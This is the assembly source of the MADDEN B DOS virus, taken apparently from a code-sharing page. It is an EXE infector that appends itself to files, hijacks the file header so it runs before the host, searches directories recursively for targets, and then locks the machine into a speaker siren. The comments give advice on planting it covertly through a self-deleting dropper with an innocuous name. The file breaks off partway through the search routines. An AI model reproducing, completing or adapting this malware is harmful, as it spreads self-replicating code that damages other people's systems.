📄 maddenb.asm
字号:
;The MADDEN B virus is an EXE file infector which can jump from directory to
;directory and disk to disk. It attaches itself to the end of a file and
;modifies the EXE file header so that it gets control first, before the host
;program. When it is done doing its job, it passes control to the host program,
;so that the host executes without a hint that the virus is there.
.SEQ ;segments must appear in sequential order
;to simulate conditions in actual active virus
;MGROUP GROUP HOSTSEG,HSTACK ;Host stack and code segments grouped together
;HOSTSEG program code segment. The virus gains control before this routine and
;attaches itself to another EXE file. As such, the host program for this
;installer simply tries to delete itself off of disk and terminates. That is
;worthwhile if you want to infect a system with the virus without getting
;caught. Just execute the program that infects, and it disappears without a
;trace. You might want to name the program something more innocuous, though.
;MADDEN B also locks the pc into a 'siren' warble when it runs out
;of files to infect. MADDEN, included in this archive plays a fast country
;song. (MADDEN will assemble to an .file using a86, then link to produce
;infected .exe form)
HOSTSEG SEGMENT BYTE
ASSUME CS:HOSTSEG,SS:HSTACK
PGMSTR DB 'MADDENB.EXE',0
HOST:
mov ax,cs ;we want DS=CS here
mov ds,ax
mov dx,OFFSET PGMSTR
mov ah,41H
int 21H ;delete this exe file
mov ah,4CH
mov al,0
int 21H ;terminate normally
HOSTSEG ENDS
;Host program stack segment
HSTACK SEGMENT PARA STACK
db 100H dup (?) ;100 bytes long
HSTACK ENDS
;------------------------------------------------------------------------
;This is the virus itself
STACKSIZE EQU 100H ;size of stack for the virus
NUMRELS EQU 2 ;number of relocatables in the virus, which must go in the relocatable pointer table
;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together
;MADDEN Virus code segment. This gains control first, before the host. As this
;ASM file is layed out, this program will look exactly like a simple program
;that was infected by the virus.
VSEG SEGMENT PARA
ASSUME CS:VSEG,DS:VSEG,SS:VSTACK
;data storage area comes before any code
VIRUSID DW 0C8AAH ;identifies virus
OLDDTA DD 0 ;old DTA segment and offset
DTA1 DB 2BH dup (?) ;new disk transfer area
DTA2 DB 56H dup (?) ;dta for directory finds (2 deep)
EXE_HDR DB 1CH dup (?) ;buffer for EXE file header
EXEFILE DB '\*.EXE',0 ;search string for an exe file
ALLFILE DB '\*.*',0 ;search string for any file
USEFILE DB 78 dup (?) ;area to put valid file path
LEVEL DB 0 ;depth to search directories for a file
HANDLE DW 0 ;file handle
FATTR DB 0 ;old file attribute storage area
FTIME DW 0 ;old file time stamp storage area
FDATE DW 0 ;old file date stamp storage area
FSIZE DD 0 ;file size storage area
VIDC DW 0 ;storage area to put VIRUSID from new host .EXE in, to check if virus already there
VCODE DB 1 ;identifies this version
COUNT1 DW 8 ;delay counts used by 'siren' routine
COUNT2 DW 3
COUNT3 DW 20
COUNT4 DW 10
;--------------------------------------------------------------------------
;MADDEN B virus main routine starts here
VIRUS:
push ax ;save startup info in ax
mov ax,cs
mov ds,ax ;set up DS=CS for the virus
mov ax,es ;get PSP Seg
mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg in case of abort without getting it
call SHOULDRUN ;run only when certain conditions met signalled by z set
jnz REL1 ;conditions aren't met, go execute host program
call SETSR ;modify SHOULDRUN procedure to activate conditions
call NEW_DTA ;set up a new DTA location
call FIND_FILE ;get an exe file to attack
jnz SIREN ;returned nz - no valid files left, siren time!
call SAVE_ATTRIBUTE ;save the file attributes and leave file opened in r/w mode
call INFECT ;move program code to file we found to attack
call REST_ATTRIBUTE ;restore the original file attributes and close the file
FINISH: call RESTORE_DTA ;restore the DTA to its original value at startup
pop ax ;restore startup value of ax
REL1: ;relocatable marker for host stack segment
mov bx,HSTACK ;set up host program stack segment (ax=segment)
cli ;interrupts off while changing stack
mov ss,bx
REL1A: ;marker for host stack pointer
mov sp,OFFSET HSTACK
mov es,WORD PTR [OLDDTA+2] ;set up ES correctly
mov ds,WORD PTR [OLDDTA+2] ;and DS
sti ;interrupts back on
REL2: ;relocatable marker for host code segment
jmp FAR PTR HOST ;begin execution of host program
;--------------------------------------------------------------------------
;First Level - Find a file which passes FILE_OK
;
;This routine does a complex directory search to find an EXE file in the
;current directory, one of its subdirectories, or the root directory or one
;of its subdirectories, to find a file for which FILE_OK returns with C reset.
;If you want to change the depth of the search, make sure to allocate enough
;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
;since the recursive FINDBR uses a different DTA area for the search (see DOS
;functions 4EH and 4FH) on each level.
;
FIND_FILE:
mov al,'\' ;set up current directory path in USEFILE
mov BYTE PTR [USEFILE],al
mov si,OFFSET USEFILE+1
xor dl,dl
mov ah,47H
int 21H ;get current dir, USEFILE= \dir
cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root
jnz FF2 ;not the root
xor al,al ;make correction for root directory,
mov BYTE PTR [USEFILE],al ;by setting USEFILE = ''
FF2: mov al,2
mov [LEVEL],al ;search 2 subdirs deep
call FINDBR ;attempt to locate a valid file
jz FF3 ;found one - exit
xor al,al ;nope - try the root directory
mov BYTE PTR [USEFILE],al ;by setting USEFILE= ''
inc al ;al=1
mov [LEVEL],al ;search one subdir deep
call FINDBR ;attempt to find file
FF3:
ret ;exit with z flag set by FINDBR to indicate success/failure
;***************************************************************************
;This routine enables MADDEN B virus to sound a siren
;when it can't find a file to infect
;**************************************************************************
SIREN:
cli ;no interrupts
mov bp,15 ;we want to do hole thing 15 times
mov al,10110110xb ;set up channel 2
out 43h,al ;send it to port
AGIN: mov bx,500 ;start frequency high
BACKERX:mov ax,bx ;place it in (ax)
out 42h,al ;send LSB first
mov al,ah ;move MSB into al
out 42h,al ;send it next
in al,61h ;get value from port
or al,00000011xb ;ORing it will turn on speaker
out 61h,al ;send number
mov cx,COUNT1 ;number of delay loops
LOOPERX:loop LOOPERX ;so we can hear sound
inc bx ;increment (bx) lowers frequency pitch
cmp bx,4000 ;have we reached 4000
jnz BACKERX ;if not do again
BACKERY:mov ax,bx ;if not put (bx) in (ax)
out 42h,al ;send LSB to port
mov al,ah ;place MSB in al
out 42h,al ;send it now
in al,61h ;get value from port
or al,00000011xb ;lets OR it
out 61h,al ;time to turn on speaker
mov cx,COUNT2 ;loop count
LOOPERY:loop LOOPERY ;delay so we can hear sound
dec bx ;decrementing (bx) rises frequency pitch
cmp bx,500 ;have we reach 500
jnz BACKERY ;if not go back
mov si,COUNT3 ;place longer delay in (si)
mov di,COUNT4 ;place longer delay in (di)
push si ;push it on the stack
push di ;push it on the stack
mov si,COUNT1 ;place first delay in (si)
mov di,COUNT2 ;place second delay in (di)
mov COUNT3,si ;save 1st in COUNT3 for next exchange
mov COUNT4,di ;save 2nd in COUNT4 for next exchange
pop di ;pop longer delay off stack
pop si ;pop longer delay off stack
mov COUNT2,di ;place it in the second
mov COUNT1,si ;place it in the first
dec bp ;decrement repeat count
jnz AGIN ;if not = 0 do hole thing again
in al,61h ;we be done
and al,11111100xb ;this number will turn speaker off
out 61h,al ;send it
sti ;enable interrupts
jmp SIREN
;--------------------------------------------------------------------------
;SEARCH FUNCTION
;---------------------------------------------------------------------------
;Second Level - Find in a branch
;
;This function searches the directory specified in USEFILE for EXE files.
;after searching the specified directory, it searches subdirectories to the
;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this
;routine exits with Z set and leaves the file and path in USEFILE
;
FINDBR:
call FINDEXE ;search current dir for EXE first
jnc FBE3 ;found it - exit
cmp [LEVEL],0 ;no - do we want to go another directory deeper?
jz FBE1 ;no - exit
dec [LEVEL] ;yes - decrement LEVEL and continue
mov di,OFFSET USEFILE ;'\curr_dir' is here
mov si,OFFSET ALLFILE ;'\*.*' is here
call CONCAT ;get '\curr_dir\*.*' in USEFILE
inc di
push di ;store pointer to first *
call FIRSTDIR ;get first subdirectory
jnz FBE ;couldn't find it, so quit
FB1: ;otherwise, check it out
pop di ;strip \*.* off of USEFILE
xor al,al
stosb
mov di,OFFSET USEFILE
mov bx,OFFSET DTA2+1EH
mov al,[LEVEL]
mov dl,2BH ;compute correct DTA location for subdir name
mul dl ;which depends on the depth we're at in the search
add bx,ax ;bx points to directory name
mov si,bx
call CONCAT ;'\curr_dir\sub_dir' put in USEFILE
push di ;save position of first letter in sub_dir name
call FINDBR ;scan the subdirectory and its subdirectories (recursive)
jz FBE2 ;if successful, exit
call NEXTDIR ;get next subdirectory in this directory
jz FB1 ;go check it if search successful
FBE: ;else exit, NZ set, cleaned up
inc [LEVEL] ;increment the level counter before exit
pop di ;strip any path or file spec off of original
xor al,al ;directory path
stosb
FBE1: mov al,1 ;return with NZ set
or al,al
ret
FBE2: pop di ;successful exit, pull this off the stack
FBE3: xor al,al ;and set Z
ret ;exit
;--------------------------------------------------------------------------
;Third Level - Part A - Find an EXE file
;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -